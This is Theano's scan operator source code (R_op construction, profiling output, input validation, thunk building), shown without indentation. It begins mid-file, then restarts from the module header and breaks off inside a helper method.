rval = scan_utils.reconstruct_graph(self.inputs,
self.outputs, '_rop')
self_inputs = rval[0]
rop_of_inputs = rval[0][:self.n_seqs + self.n_outs] + \
rval[0][self.n_seqs + self.n_outs + self.n_shared_outs:]
self_outputs = rval[1]
# Step 1. Compute the R_op of the inner function
inner_eval_points = [scan_utils.safe_new(x, '_evalpoint')
for x in rop_of_inputs]
if self.as_while:
rop_self_outputs = self_outputs[:-1]
else:
rop_self_outputs = self_outputs
if self.info['n_shared_outs'] > 0:
rop_self_outputs = rop_self_outputs[:-self.info['n_shared_outs']]
rop_outs = tensor.Rop(rop_self_outputs, rop_of_inputs,
inner_eval_points)
if type(rop_outs) not in (list, tuple):
rop_outs = [rop_outs]
# Step 2. Figure out what corresponds to what in the scan
# When doing the R-op of scan, you end up having double of each type of
# input, because for each sequence you need also its eval point, for
# each mit_mot, mit_sot, sit_sot or other type of inputs the same.
# Interestingly enough, all these types of eval points behave the same
# way as the input to which they correspond
# The only exception is the eval point for the number of sequences, and
# evan point for the number of nit_sot which I think should just be
# ignored (?)
info = OrderedDict()
info['n_seqs'] = self.n_seqs * 2
info['n_mit_sot'] = self.n_mit_sot * 2
info['n_sit_sot'] = self.n_sit_sot * 2
info['n_mit_mot'] = self.n_mit_mot * 2
info['n_nit_sot'] = self.n_nit_sot * 2
info['n_shared_outs'] = self.n_shared_outs
info['gpu'] = False
info['as_while'] = self.as_while
info['profile'] = self.profile
info['truncate_gradient'] = self.truncate_gradient
if self.name:
info['name'] = 'rop_of_' + self.name
else:
info['name'] = None
info['mode'] = self.mode
info['allow_gc'] = self.allow_gc
info['mit_mot_out_slices'] = self.mit_mot_out_slices * 2
info['destroy_map'] = OrderedDict()
new_tap_array = []
b = 0
e = self.n_mit_mot
new_tap_array += self.tap_array[b:e] * 2
b = e
e += self.n_mit_sot
new_tap_array += self.tap_array[b:e] * 2
b = e
e += self.n_sit_sot
new_tap_array += self.tap_array[b:e] * 2
info['tap_array'] = new_tap_array
# Sequences ...
b = 1
ib = 0
e = 1 + self.n_seqs
ie = self.n_seqs
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_seqs = inputs[b:e] + clean_eval_points
inner_seqs = self_inputs[ib:ie] + inner_eval_points[ib:ie]
# MIT_MOT sequences ...
b = e
e = e + self.n_mit_mot
ib = ie
ie = ie + int(numpy.sum([len(x) for x in
self.tap_array[:self.n_mit_mot]]))
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_mit_mot = inputs[b:e] + clean_eval_points
inner_mit_mot = self_inputs[ib:ie] + inner_eval_points[ib:ie]
# MIT_SOT sequences ...
b = e
e = e + self.n_mit_sot
ib = ie
ie = ie + int(numpy.sum([len(x) for x in
self.tap_array[self.n_mit_mot:\
self.n_mit_mot + self.n_mit_sot]]))
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_mit_sot = inputs[b:e] + eval_points[b:e]
inner_mit_sot = self_inputs[ib:ie] + inner_eval_points[ib:ie]
# SIT_SOT sequences ...
b = e
e = e + self.n_sit_sot
ib = ie
ie = ie + self.n_sit_sot
clean_eval_points = []
for inp, evp in zip(inputs[b:e], eval_points[b:e]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_sit_sot = inputs[b:e] + clean_eval_points
inner_sit_sot = self_inputs[ib:ie] + inner_eval_points[ib:ie]
# Shared outs ...
b = e
e = e + self.n_shared_outs
ib = ie
ie = ie + self.n_shared_outs
scan_shared = inputs[b:e]
inner_shared = self_inputs[ib:ie]
# NIT_SOT sequences
b = e
e = e + self.n_nit_sot
scan_nit_sot = inputs[b:e] * 2
# All other arguments
clean_eval_points = []
for inp, evp in zip(inputs[e:], eval_points[e:]):
if evp is not None:
clean_eval_points.append(evp)
else:
clean_eval_points.append(inp.zeros_like())
scan_other = inputs[e:] + clean_eval_points
# inner_eval_points do not have entries for shared variables
inner_other = self_inputs[ie:] + inner_eval_points[ib:]
# Outputs
n_mit_mot_outs = int(numpy.sum([len(x) for x in
self.mit_mot_out_slices]))
info['n_mit_mot_outs'] = n_mit_mot_outs * 2
b = 0
e = n_mit_mot_outs
inner_out_mit_mot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_mit_sot
inner_out_mit_sot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_sit_sot
inner_out_sit_sot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_nit_sot
inner_out_nit_sot = self_outputs[b:e] + rop_outs[b:e]
b = e
e = e + self.n_shared_outs
inner_out_shared = self_outputs[b:e]
inner_ins = (inner_seqs +
inner_mit_mot +
inner_mit_sot +
inner_sit_sot +
inner_shared +
inner_other)
inner_outs = (inner_out_mit_mot +
inner_out_mit_sot +
inner_out_sit_sot +
inner_out_nit_sot +
inner_out_shared)
if self.as_while:
inner_outs += [self_outputs[-1]]
scan_inputs = ([inputs[0]] +
scan_seqs +
scan_mit_mot +
scan_mit_sot +
scan_sit_sot +
scan_shared +
scan_nit_sot +
scan_other)
local_op = Scan(inner_ins, inner_outs, info)
outputs = local_op(*scan_inputs)
if type(outputs) not in (list, tuple):
outputs = [outputs]
# Select only the result of the R_op results
final_outs = []
b = self.n_mit_mot
e = self.n_mit_mot * 2
final_outs += outputs[b:e]
b = e + self.n_mit_sot
e = e + self.n_mit_sot * 2
final_outs += outputs[b:e]
b = e + self.n_sit_sot
e = e + self.n_sit_sot * 2
final_outs += outputs[b:e]
b = e + self.n_nit_sot
e = e + self.n_nit_sot * 2
final_outs += outputs[b:e]
final_outs += [None] * self.n_shared_outs
return final_outs
# Since Scan is an op that contains a Theano compiled function, it is
# useful to let DebugMode know about it.
gof.ops_with_inner_function[Scan] = 'fn'
@theano.compile.profilemode.register_profiler_printer
def profile_printer(fct_name, compile_time, fct_call_time, fct_call,
apply_time, apply_cimpl, message, outputs_size,
other_time):
# Scan overhead profile
if any([isinstance(node.op, Scan) and v > 0 for (_, node), v in
apply_time.items()]):
print()
print('Scan overhead:')
print ('<Scan op time(s)> <sub scan fct time(s)> <sub scan op '
'time(s)> <sub scan fct time(% scan op time)> <sub scan '
'op time(% scan op time)> <node>')
total_super_scan_time = 0
total_scan_fct_time = 0
total_scan_op_time = 0
for (_, node), v in iteritems(apply_time):
if isinstance(node.op, Scan):
if v > 0:
scan_fct_time = node.op.mode_instance.fn_time
scan_op_time = node.op.mode_instance.local_time
total_super_scan_time += v
total_scan_fct_time += scan_fct_time
total_scan_op_time += scan_op_time
print(' %5.1fs %5.1fs %5.1fs %5.1f%% %5.1f%%' % (
v,
scan_fct_time,
scan_op_time,
scan_fct_time / v * 100,
scan_op_time / v * 100), node)
else:
print((' The node took 0s, so we can not '
'compute the overhead'), node)
print(' total %5.1fs %5.1fs %5.1fs %5.1f%% %5.1f%%' % (
total_super_scan_time,
total_scan_fct_time,
total_scan_op_time,
total_scan_fct_time / total_super_scan_time * 100,
total_scan_op_time / total_super_scan_time * 100))
| 45.441753 | 96 | 0.537828 | from __future__ import print_function
__docformat__ = 'restructedtext en'
__authors__ = ("Razvan Pascanu "
"Frederic Bastien "
"James Bergstra "
"Pascal Lamblin ")
__copyright__ = "(c) 2010, Universite de Montreal"
__contact__ = "Razvan Pascanu <r.pascanu@gmail>"
import itertools
import logging
import time
import numpy
from six import iteritems
from six.moves import xrange
import theano
from theano.compat import exc_message
from theano.compile import function, Param, Out
from theano import compile, config, gradient, gof, tensor
from theano.gof import PureOp, Apply
from theano.gof.graph import io_connection_pattern
from theano.compat import OrderedDict, izip
from theano.tensor import TensorType
from theano.tensor.opt import Shape_i
from theano.gradient import grad_undefined, DisconnectedType, NullType
from six import string_types
from theano.compile.profiling import ScanProfileStats
from theano.scan_module import scan_utils
from theano.scan_module.scan_utils import safe_new, forced_replace
_logger = logging.getLogger('theano.scan_module.scan_op')
from theano.configparser import AddConfigVar, BoolParam
AddConfigVar('scan.allow_gc',
"Allow/disallow gc inside of Scan (default: False)",
BoolParam(False))
AddConfigVar('scan.allow_output_prealloc',
"Allow/disallow memory preallocation for outputs inside of scan "
"(default: True)",
BoolParam(True))
class Scan(PureOp):
def __init__(self,
inputs,
outputs,
info,
typeConstructor=None,
):
if 'gpua' not in info:
info['gpua'] = False
self.inputs = inputs
self.outputs = outputs
self.__dict__.update(info)
self.info = info
self.output_types = []
idx = 0
jdx = 0
tensorConstructor = lambda broadcastable, dtype: TensorType(
broadcastable=broadcastable, dtype=dtype)
if typeConstructor is None:
typeConstructor = tensorConstructor
while idx < self.n_mit_mot_outs:
o = outputs[idx]
self.output_types.append(
typeConstructor(
broadcastable=(False,) + o.type.broadcastable,
dtype=o.type.dtype))
idx += len(self.mit_mot_out_slices[jdx])
jdx += 1
end = idx + self.n_mit_sot + self.n_sit_sot + self.n_nit_sot
for o in outputs[idx:end]:
self.output_types.append(
typeConstructor(
broadcastable=(False,) + o.type.broadcastable,
dtype=o.type.dtype))
for o in outputs[end:]:
self.output_types.append(o.type)
if self.as_while:
self.output_types = self.output_types[:-1]
mode_instance = compile.mode.get_mode(self.mode)
if self.name:
message = self.name + " sub profile"
else:
message = "Scan sub profile"
self.mode_instance = mode_instance.clone(
link_kwargs=dict(allow_gc=self.allow_gc),
message=message)
if theano.config.scan.allow_output_prealloc:
self.mode_instance = self.mode_instance.including(
"add_no_output_from_inplace")
if not hasattr(self, 'name') or self.name is None:
self.name = 'scan_fn'
self.info['name'] = self.name
self.mintaps = [numpy.min(x) for x in self.tap_array]
self.mintaps += [0 for x in xrange(self.n_nit_sot)]
self.seqs_arg_offset = 1 + self.n_seqs
self.shared_arg_offset = (self.seqs_arg_offset +
self.n_mit_mot +
self.n_mit_sot +
self.n_sit_sot)
self.nit_sot_arg_offset = (self.shared_arg_offset +
self.n_shared_outs)
self.n_outs = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
self.n_tap_outs = self.n_mit_mot + self.n_mit_sot
if self.info['gpu'] or self.info['gpua']:
self._hash_inner_graph = self.info['gpu_hash']
else:
tmp_in, tmp_out = scan_utils.reconstruct_graph(self.inputs,
self.outputs)
local_fgraph = gof.FunctionGraph(tmp_in, tmp_out, clone=False)
self._cmodule_key = gof.CLinker().cmodule_key_(local_fgraph, [])
self._hash_inner_graph = hash(self._cmodule_key)
self.var_mappings = self.get_oinp_iinp_iout_oout_mappings()
def validate_inner_graph(self):
nb_recurr_outputs = self.n_mit_mot + self.n_mit_sot + self.n_sit_sot
for outer_oidx in xrange(nb_recurr_outputs):
inner_iidxs = self.var_mappings['inner_inp_from_outer_out'][outer_oidx]
inner_oidxs = self.var_mappings['inner_out_from_outer_out'][outer_oidx]
for (inner_iidx, inner_oidx) in itertools.product(inner_iidxs,
inner_oidxs):
type_input = self.inputs[inner_iidx].type
type_output = self.outputs[inner_oidx].type
if (type_input != type_output):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : an input and an output are "
"associated with the same recurrent state "
"and should have the same type but have "
"type '%s' and '%s' respectively." %
(self.name, type_input, type_output))
# use the CUDA gpu backend ), ensure that is has no input and no
# output with type CudaNdarrayType
from theano.sandbox.cuda import CudaNdarrayType
if not self.info.get("gpu", False):
for inp in self.inputs:
if isinstance(inp.type, CudaNdarrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the inputs to the "
"inner graph is of type CudaNdarray but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
for out in self.outputs:
if isinstance(out.type, CudaNdarrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the outputs to the "
"inner graph is of type CudaNdarray but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
# If scan has the flag 'gpua' set to false (meaning that is shouldn't
from theano.sandbox.gpuarray import GpuArrayType
if not self.info.get("gpua", False):
for inp in self.inputs:
if isinstance(inp.type, GpuArrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the inputs to the "
"inner graph is of type GpuArrayType but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
for out in self.outputs:
if isinstance(out.type, GpuArrayType):
raise TypeError("Inconsistency in the inner graph of "
"scan '%s' : one of the outputs to the "
"inner graph is of type GpuArrayType but "
"the attributes of the scan op indicate "
"that it shouldn't be the case")
def __setstate__(self, d):
self.__dict__.update(d)
if "allow_gc" not in self.__dict__:
self.allow_gc = True
self.info['allow_gc'] = True
if not hasattr(self, 'gpua'):
self.gpua = False
self.info['gpua'] = False
if not hasattr(self, 'var_mappings'):
self.var_mappings = self.get_oinp_iinp_iout_oout_mappings()
# Ensure that the graph associated with the inner function is valid.
self.validate_inner_graph()
def make_node(self, *inputs):
assert numpy.all(isinstance(i, gof.Variable) for i in inputs)
# Check that the number of inputs to the Scan node corresponds to
# the number of inputs of the inner function of scan
n_outer_ins = len(inputs) - len(self.outer_nitsot(inputs)) - 1
n_inner_ins = (len(self.inner_seqs(self.inputs)) +
len(self.mitmot_taps()) +
len(self.mitsot_taps()) +
len(self.inner_sitsot(self.inputs)) +
len(self.inner_shared(self.inputs)) +
len(self.inner_non_seqs(self.inputs)))
assert n_outer_ins == n_inner_ins, \
("The number of inputs given to the inner function of scan"
" does not match the number of inputs given to scan.")
new_inputs = [inputs[0]]
# assert dtype is consistent
err_msg1 = ('When compiling the inner function of scan (the '
'function called by scan in each of its iterations) '
'the following error has been encountered: The '
'%s %s (argument number %d) has dtype '
'%s and %d dimension(s). The corresponding variable '
'in the inner function of scan %s '
'however has dtype %s and %d dimension(s). This '
'variable in the inner function of scan should '
'have the same dtype and one fewer dimension '
'compared to its corresponding variable in the initial '
'state (outputs_info in scan nomenclature). For example, '
'if the inner function of scan returns a vector '
'of size d and scan uses the values of '
'the previous time-step, then the initial state in scan '
'should be a matrix of shape (1, d). '
'The first dimension of this '
'matrix corresponds to the number of previous time-steps '
'that scan uses in each of its iterations. '
'In order to solve this issue if the two variable currently '
'have the same dimensionality, you can increase the '
'dimensionality of the varialbe in the initial state of scan '
'by using dimshuffle or shape_padleft. '
)
err_msg2 = ('When compiling the inner function of scan the '
'following error has been encountered: The '
'initial state (`outputs_info` in scan nomenclature) '
'of variable %s (argument number %d) '
'has dtype %s, while the result of the inner function '
'(`fn`) has dtype %s. This can happen if the inner '
'function of scan results in an upcast or downcast.')
err_msg3 = ('When compiling the inner function of scan (the '
'function called by scan in each of its iterations) '
'the following error has been encountered: The '
'initial state (`outputs_info` in scan nomenclature) '
'of variable %s (argument number %d) has %d dimension(s), '
'while the corresponding variable in the result of the inner '
'function of scan (`fn`) has %d dimension(s) (it should '
'be one less than the initial state). For example, '
'if the inner function of scan returns a vector '
'of size d and scan uses the values of '
'the previous time-step, then the initial state in scan '
'should be a matrix of shape (1, d). '
'The first dimension of this '
'matrix corresponds to the number of previous time-steps '
'that scan uses in each of its iterations. '
'In order to solve this issue if the two varialbe currently '
'have the same dimensionality, you can increase the '
'dimensionality of the variable in the initial state of scan '
'by using dimshuffle or shape_padleft. '
)
def format(var, as_var):
if not hasattr(var, 'dtype'):
return var
rval = var
if rval.type.dtype != as_var.type.dtype:
rval = rval.astype(as_var.type.dtype)
if rval.ndim == as_var.ndim:
rval = as_var.type.filter_variable(rval)
else:
tmp = as_var.type.clone(
broadcastable=(tuple(var.broadcastable[:1]) +
tuple(as_var.broadcastable)))
rval = tmp.filter_variable(rval)
return rval
# Check if input sequences and variables representing a slice of
# them have the same dtype
argoffset = 0
for inner_seq, outer_seq in zip(self.inner_seqs(self.inputs),
self.outer_seqs(inputs)):
new_inputs.append(format(outer_seq, as_var=inner_seq))
argoffset += len(self.outer_seqs(inputs))
# Check that this 3 things have the same dtype for mit_mot:
# - initial state of the output
# - variable representing an input slice of the otuput
# - variable representing an output slice of the otuput
ipos = 0
opos = 0
inner_mitmot = self.inner_mitmot(self.inputs)
inner_mitmot_outs = self.inner_mitmot_outs(self.outputs)
for idx, (itaps, otaps, _outer_mitmot) in enumerate(
zip(self.mitmot_taps(),
self.mitmot_out_taps(),
self.outer_mitmot(inputs))):
outer_mitmot = format(_outer_mitmot, as_var=inner_mitmot[ipos])
new_inputs.append(outer_mitmot)
for k in xrange(len(itaps)):
if (inner_mitmot[ipos + k].type.dtype !=
outer_mitmot.type.dtype or
inner_mitmot[ipos + k].ndim != outer_mitmot.ndim - 1):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_mitmot),
argoffset + idx,
outer_mitmot.type.dtype,
outer_mitmot.type.ndim,
str(inner_mitmot[ipos + k]),
inner_mitmot[ipos +
k].type.dtype,
inner_mitmot[ipos + k].type.ndim))
ipos += len(itaps)
for k in xrange(len(otaps)):
if (inner_mitmot_outs[opos + k].type.dtype !=
outer_mitmot.type.dtype):
raise ValueError(err_msg2 %
(str(outer_mitmot),
argoffset + idx,
outer_mitmot.type.dtype,
inner_mitmot_outs[opos + k].type.dtype))
if inner_mitmot_outs[opos + k].ndim != outer_mitmot.ndim - 1:
raise ValueError(err_msg3 %
(str(outer_mitmot),
argoffset + idx,
outer_mitmot.ndim,
inner_mitmot_outs[opos + k].ndim))
opos += len(otaps)
argoffset += len(self.outer_mitmot(inputs))
# Same checks as above but for outputs of type mit_sot
ipos = 0
inner_mitsots = self.inner_mitsot(self.inputs)
for idx, (itaps, _outer_mitsot, inner_mitsot_out) in enumerate(
zip(self.mitsot_taps(),
self.outer_mitsot(inputs),
self.inner_mitsot_outs(self.outputs))):
outer_mitsot = format(_outer_mitsot, as_var=inner_mitsots[ipos])
new_inputs.append(outer_mitsot)
for k in xrange(len(itaps)):
if (inner_mitsots[ipos + k].type.dtype != \
outer_mitsot.type.dtype or
inner_mitsots[ipos + k].ndim != outer_mitsot.ndim - 1):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_mitsot),
argoffset + idx,
outer_mitsot.type.dtype,
outer_mitsot.type.ndim,
str(inner_mitsots[ipos + k]),
inner_mitsots[ipos + k].type.dtype,
inner_mitsots[ipos + k].type.ndim))
ipos += len(itaps)
if inner_mitsot_out.type.dtype != outer_mitsot.type.dtype:
raise ValueError(err_msg2 %
(str(outer_mitsot),
argoffset + idx,
outer_mitsot.type.dtype,
inner_mitsot_out.type.dtype))
if inner_mitsot_out.ndim != outer_mitsot.ndim - 1:
raise ValueError(err_msg3 %
(str(outer_mitsot),
argoffset + idx,
outer_mitsot.ndim,
inner_mitsot_out.ndim))
argoffset += len(self.outer_mitsot(inputs))
# Same checks as above but for outputs of type sit_sot
for idx, (inner_sitsot, _outer_sitsot, inner_sitsot_out) in enumerate(
zip(self.inner_sitsot(self.inputs),
self.outer_sitsot(inputs),
self.inner_sitsot_outs(self.outputs))):
outer_sitsot = format(_outer_sitsot, as_var=inner_sitsot)
new_inputs.append(outer_sitsot)
if (inner_sitsot.ndim != outer_sitsot.ndim - 1):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_sitsot),
argoffset + idx,
outer_sitsot.type.dtype,
outer_sitsot.type.ndim,
str(inner_sitsot),
inner_sitsot.type.dtype,
inner_sitsot.type.ndim))
if inner_sitsot_out.type.dtype != outer_sitsot.type.dtype:
raise ValueError(err_msg2 %
(str(outer_sitsot),
argoffset + idx,
outer_sitsot.type.dtype,
inner_sitsot_out.type.dtype))
if inner_sitsot_out.ndim != outer_sitsot.ndim - 1:
raise ValueError(err_msg3 %
(str(outer_sitsot),
argoffset + idx,
outer_sitsot.type.ndim,
inner_sitsot_out.type.ndim))
argoffset += len(self.outer_sitsot(inputs))
# Check that the shared variable and their update rule have the same
# dtype. Maybe even same type ?!
for idx, (inner_shared, inner_shared_out, _outer_shared) in enumerate(
zip(self.inner_shared(self.inputs),
self.inner_shared_outs(self.outputs),
self.outer_shared(inputs))):
outer_shared = format(_outer_shared, as_var=inner_shared)
new_inputs.append(outer_shared)
if (hasattr(outer_shared, 'dtype') and
outer_shared.dtype != inner_shared_out.dtype):
raise ValueError(err_msg2 % (str(outer_shared),
idx + argoffset,
outer_shared.dtype,
inner_shared_out.dtype))
if (hasattr(outer_shared, 'dtype') and
outer_shared.ndim != inner_shared_out.ndim):
raise ValueError(err_msg3 % (str(outer_shared),
idx + argoffset,
outer_shared.ndim,
inner_shared_out.ndim))
if (hasattr(outer_shared, 'dtype') and
(outer_shared.dtype != inner_shared.dtype or
outer_shared.ndim != inner_shared.ndim)):
raise ValueError(err_msg1 % ('initial state (outputs_info'
' in scan nomenclature) ',
str(outer_shared),
argoffset + idx,
outer_shared.dtype,
outer_shared.ndim,
str(inner_shared),
inner_shared.dtype,
inner_shared.ndim))
# We do not need to call `format` on outer_nisot arguments.
# outer_nitsot stands for no input tap single output tap. This means
# these are states that do not feed anything back in the recurrent
# computation, and hence they do not have an initial state. The scan
# node however receives an input for each such argument, the input
# in this case is just a int saying how many steps of this output we
# need to store. This input does not have the same dtype, nor is it the same
# type of tensor as the output, it is always a scalar int.
new_inputs += self.outer_nitsot(inputs)
for inner_nonseq, _outer_nonseq in zip(
self.inner_non_seqs(self.inputs),
self.outer_non_seqs(inputs)):
outer_nonseq = format(_outer_nonseq, as_var=inner_nonseq)
new_inputs.append(outer_nonseq)
if inner_nonseq.type != outer_nonseq.type:
raise ValueError(('Argument %s given to scan node does not'
' match its correspondance %s') %
(str(outer_nonseq), str(inner_nonseq)))
for outer_nitsot in self.outer_nitsot(inputs):
# For every nit_sot input we get as input a int/uint that
# depicts the size in memory for that sequence. This feature is
# used by truncated BPTT and by scan space optimization
if (str(outer_nitsot.type.dtype)[:3] not in ('uin', 'int') or
outer_nitsot.ndim != 0):
raise ValueError('For output %s you need to provide a '
'scalar int !', str(outer_nitsot))
assert len(new_inputs) == len(inputs)
# The vector_seqs and vector_outs are just a workaround
# strange NumPy behavior: vector_ndarray[int] return a NumPy
# scalar and not a NumPy ndarray of 0 dimensions.
self.vector_seqs = [isinstance(seq, (tensor.TensorVariable,
tensor.TensorConstant)) and
seq.ndim == 1 for seq in
new_inputs[1:1 + self.n_seqs]]
self.vector_outs = [isinstance(arg, (tensor.TensorVariable,
tensor.TensorConstant)) and
arg.ndim == 1 for arg in
new_inputs[1 + self.n_seqs: (1 + self.n_seqs +
self.n_outs)]]
self.vector_outs += [False] * self.n_nit_sot
apply_node = Apply(self,
new_inputs,
[t() for t in self.output_types])
return apply_node
def __eq__(self, other):
# Check if we are dealing with same type of objects
if not type(self) == type(other):
return False
if not 'destroy_map' in self.info:
self.info['destroy_map'] = OrderedDict()
if not 'destroy_map' in other.info:
other.info['destroy_map'] = OrderedDict()
keys_to_check = ['truncate_gradient', 'profile',
'n_seqs', 'tap_array',
'as_while', 'n_mit_sot', 'destroy_map',
'n_nit_sot', 'n_shared_outs',
'n_sit_sot', 'gpu', 'gpua', 'n_mit_mot_outs',
'n_mit_mot', 'mit_mot_out_slices']
# This are some safety checks ( namely that the inner graph has the
# same number of inputs and same number of outputs )
if not len(self.inputs) == len(other.inputs):
return False
elif not len(self.outputs) == len(other.outputs):
return False
for key in keys_to_check:
if self.info[key] != other.info[key]:
return False
# If everything went OK up to here, there is still one thing to
# check. Namely, do the internal graph represent same
# computations
for self_in, other_in in izip(self.inputs, other.inputs):
if self_in.type != other_in.type:
return False
return scan_utils.equal_computations(self.outputs,
other.outputs,
self.inputs,
other.inputs)
def __str__(self):
if self.gpu:
gpu_str = 'gpu'
else:
gpu_str = 'cpu'
if self.as_while:
name = 'do_while'
else:
name = 'for'
aux_txt = '%s'
if getattr(self, 'destroy_map', None) is None:
self.destroy_map = OrderedDict()
if len(self.destroy_map.keys()) > 0:
# Check if all outputs are inplace
if (sorted(self.destroy_map.keys()) == \
sorted(range(self.n_mit_mot +
self.n_mit_sot +
self.n_sit_sot))):
aux_txt += 'all_inplace,%s,%s}'
else:
aux_txt += '{inplace{'
for k in self.destroy_map.keys():
aux_txt += str(k) + ','
aux_txt += '},%s,%s}'
else:
aux_txt += '{%s,%s}'
aux_txt = aux_txt % (name, gpu_str, str(self.name))
return aux_txt
def __hash__(self):
return hash((type(self),
# and a hash representing the inner graph using the
# CLinker.cmodule_key_
self._hash_inner_graph,
scan_utils.hash_listsDictsTuples(self.info)))
def make_thunk(self, node, storage_map, compute_map, no_recycling):
# Before building the thunk, validate that the inner graph is
# coherent
self.validate_inner_graph()
# Setting up all my variables in what I believe is a more Cython
# friendly form
node_input_storage = [storage_map[r] for r in node.inputs]
node_output_storage = [storage_map[r] for r in node.outputs]
node_input_compute = [compute_map[r] for r in node.inputs]
node_output_compute = [compute_map[r] for r in node.outputs]
#_logger.debug('Compiling node %i of graph' % node_idx)
# If a shared variable is the result of a ViewOp it is a clear
# indication that we need to copy that value after the perform of
# scan is done
slices = (self.n_mit_mot_outs +
self.n_mit_sot +
self.n_sit_sot +
self.n_nit_sot)
if theano.config.scan.allow_output_prealloc:
wrapped_inputs = [Param(x, borrow=False) for x in
self.inputs]
wrapped_outputs = [Out(x, borrow=True) for x in
self.outputs[:slices]]
else:
wrapped_inputs = [Param(x, borrow=True) for x in
self.inputs]
wrapped_outputs = [Out(x, borrow=False) for x in
self.outputs[:slices]]
wrapped_outputs += self.outputs[slices:]
profile = None
if (theano.config.profile or
(isinstance(self.profile, (string_types, bool, int))
and self.profile)):
if isinstance(self.profile, string_types):
profile = ScanProfileStats(name=self.profile)
else:
profile = ScanProfileStats(name=self.name)
elif self.profile:
profile = self.profile
# make_thunk can be called many times on the same op
# we do not want to recompile the inner fct every time.
if not getattr(self, 'fn', None):
self.fn = function(wrapped_inputs,
wrapped_outputs,
mode=self.mode_instance,
name=self.name,
profile=profile,
on_unused_input='ignore')
try:
cython_mintaps = numpy.asarray(self.mintaps, dtype='int32')
cython_tap_array_len = \
numpy.asarray([len(x) for x in self.tap_array],
dtype='int32')
if len(self.tap_array) == 0:
d1 = 0
else:
d1 = numpy.max(cython_tap_array_len)
d0 = len(self.tap_array)
cython_tap_array = numpy.zeros((d0, d1), dtype='int32')
for _d0 in xrange(d0):
for _d1 in xrange(cython_tap_array_len[_d0]):
cython_tap_array[_d0, _d1] = self.tap_array[_d0][_d1]
cython_mit_mot_out_nslices = \
numpy.asarray([len(x) for x in self.mit_mot_out_slices],
dtype='int32')
if len(self.mit_mot_out_slices) == 0:
d1 = 0
else:
d1 = numpy.max(cython_mit_mot_out_nslices)
d0 = len(self.mit_mot_out_slices)
cython_mit_mot_out_slices = numpy.zeros((d0, d1),
dtype='int32')
for _d0 in xrange(d0):
for _d1 in xrange(cython_mit_mot_out_nslices[_d0]):
cython_mit_mot_out_slices[_d0, _d1] = \
self.mit_mot_out_slices[_d0][_d1]
cython_vector_seqs = numpy.asarray(self.vector_seqs,
dtype='int32')
cython_vector_outs = numpy.asarray(self.vector_outs,
dtype='int32')
if hasattr(self, 'destroy_map'):
cython_destroy_map = [x in self.destroy_map
for x in xrange(len(node.outputs))]
else:
cython_destroy_map = [0 for x in xrange(len(node.outputs))]
cython_destroy_map = numpy.asarray(cython_destroy_map,
dtype='int32')
from . import scan_perform_ext
p = lambda node, args, outs:\
scan_perform_ext.perform(
self.n_shared_outs,
self.n_mit_mot_outs,
self.n_seqs,
self.n_mit_mot,
self.n_mit_sot,
self.n_sit_sot,
self.n_nit_sot,
args[0],
self.as_while,
cython_mintaps,
cython_tap_array,
cython_tap_array_len,
cython_vector_seqs,
cython_vector_outs,
cython_mit_mot_out_slices,
cython_mit_mot_out_nslices,
self.fn.fn,
self.fn,
cython_destroy_map,
args,
outs,
self, node)
except (ImportError, theano.gof.cmodule.MissingGXX):
p = self.execute
# default arguments are stored in the closure of `rval`
# Big ugly hack since we can't get the real value of allow_gc
allow_gc = config.allow_gc and not self.allow_gc
def rval(p=p, i=node_input_storage, o=node_output_storage, n=node,
allow_gc=allow_gc):
r = p(n, [x[0] for x in i], o)
for o in node.outputs:
compute_map[o][0] = True
if allow_gc:
self.fn.free()
return r
rval.inputs = node_input_storage
rval.outputs = node_output_storage
rval.perform = p
rval.lazy = False
return rval
def inner_seqs(self, list_inputs):
return list_inputs[:self.n_seqs]
def outer_seqs(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
return list_inputs[1:1 + self.n_seqs]
def inner_mitmot(self, list_inputs):
n_taps = sum(len(x) for x in self.tap_array[:self.n_mit_mot])
return list_inputs[self.n_seqs: self.n_seqs + n_taps]
def outer_mitmot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
return list_inputs[1 + self.n_seqs:1 + self.n_seqs + self.n_mit_mot]
def inner_mitmot_outs(self, list_outputs):
n_taps = sum(len(x) for x in self.mit_mot_out_slices)
return list_outputs[:n_taps]
def outer_mitmot_outs(self, list_outputs):
if isinstance(list_outputs, Apply):
list_outputs = list_outputs.ouputs
return list_outputs[:self.n_mit_mot]
def mitmot_taps(self):
return self.tap_array[:self.n_mit_mot]
def mitmot_out_taps(self):
return self.mit_mot_out_slices[:self.n_mit_mot]
def inner_mitsot(self, list_inputs):
n_mitmot_taps = sum(len(x) for x in self.tap_array[:self.n_mit_mot])
ntaps_upto_sit_sot = sum(len(x) for x in
self.tap_array[:(self.n_mit_mot +
self.n_mit_sot)])
return list_inputs[self.n_seqs + n_mitmot_taps:
self.n_seqs + ntaps_upto_sit_sot]
def outer_mitsot(self, list_inputs):
if isinstance(list_inputs, Apply):
list_inputs = list_inputs.inputs
offset = 1 + self.n_seqs + self.n_mit_mot
